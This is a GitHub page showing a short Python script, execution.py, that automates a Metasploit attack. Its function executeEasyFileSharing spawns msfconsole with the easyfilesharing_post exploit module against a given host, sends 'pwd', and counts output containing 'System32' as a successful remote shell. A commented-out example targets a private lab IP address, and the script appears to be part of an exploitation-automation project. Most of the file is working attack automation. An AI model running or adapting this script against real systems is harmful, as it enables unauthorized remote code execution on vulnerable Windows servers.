-
Notifications
You must be signed in to change notification settings - Fork 0
/
execution.py
37 lines (30 loc) · 1.04 KB
/
execution.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from datetime import datetime
import subprocess
import re
import sys
import pandas as pd
from tabulate import tabulate
import os
import pexpect
import SSHClient
from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole
def convertStrToBytes(string):
mystr = str.encode(string)
return mystr
def executeEasyFileSharing(target):
print("Executing: "+"msfconsole -q -x 'use exploit/windows/http/easyfilesharing_post ;set rhosts "+target[1]+";run")
print("About to metasploit")
#Create logfile
fout = open('mylog.txt', 'wb')
child = pexpect.spawnu("msfconsole -q -x "+ str('"use exploit/windows/http/easyfilesharing_post ;set rhosts '+target[1] +';run"'), encoding='utf-8')
child.logfile = sys.stdout
child.sendline("pwd")
#print(child.expect(["Meterpreter session"], timeout=300))
if child.expect(["System32"],timeout=50) == 0:
print("Success")
return child
else:
print("Failed")
return False
#executeEasyFileSharing(["buffer","192.168.1.86"])